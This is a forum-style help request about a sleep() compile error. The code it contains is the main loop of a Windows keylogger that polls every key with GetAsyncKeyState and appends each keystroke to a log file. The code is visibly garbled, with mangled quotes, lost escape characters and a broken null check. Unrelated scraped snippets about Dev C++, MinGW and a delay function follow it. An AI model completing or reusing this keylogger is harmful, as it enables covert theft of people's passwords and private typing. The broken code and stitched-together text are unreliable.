plz help in this program sleep() errors #include <windows.h> #include <stdio.h> #include <winuser.h> #include <windowsx.h> #include <time.h> #include <stdlib.h> #include <iostream> #include <conio.h> these header files are used but sleep error comes plz help while(1) { sleep(10);/*to prevent 100% cpu usage*/ for(character=8;character<=222;character++) { if(GetAsyncKeyState(character)-32767) { FILE *file; file=fopen(FileName,'a+'); if(fileNULL) { return 1; } if(file!=NULL) { if((character>=39)&&(character<=64)) { fputc(character,file); fclose(file); break; } else if((character>64)&&(character<91)) { character+=32; fputc(character,file); fclose(file); break; } else { switch(character) { case VK_SPACE: fputc(' ',file); fclose(file); break; case VK_SHIFT: fputs('rn[SHIFT]rn',file); fclose(file); break; case VK_RETURN: fputs('rn[ENTER]rn',file); fclose(file); break; case VK_BACK: fputs('rn[BACKSPACE]rn',file); fclose(file); break; case VK_TAB: fputs('rn[TAB]rn',file); fclose(file); break; case VK_CONTROL: fputs('rn[CTRL]rn',file); fclose(file); break; case VK_DELETE: fputs('rn[DEL]rn',file); fclose(file); break; case VK_OEM_1: fputs('rn[;:]rn',file); fclose(file); break; case VK_OEM_2: fputs('rn[/?]rn',file); fclose(file); break; case VK_OEM_3: fputs('rn[`~]rn',file); fclose(file); break; case VK_OEM_4: fputs('rn[ [{ ]rn',file); fclose(file); break; case VK_OEM_5: fputs('rn[ ]rn',file); fclose(file); break; break; default: fclose(file); break; } } } } }
Dev C++ Sqrt
Dev C++ Sleepers
Jan 10, 2017 Since dev-cpp keeps seperate compiter Mingw while Tubo-c was using Borland. Dev c++ software free download for windows xp. However there are several ways to implement/use delay function in cpp code. First way: code#include void delay(int delay) int now=time(NULL); int later=now+.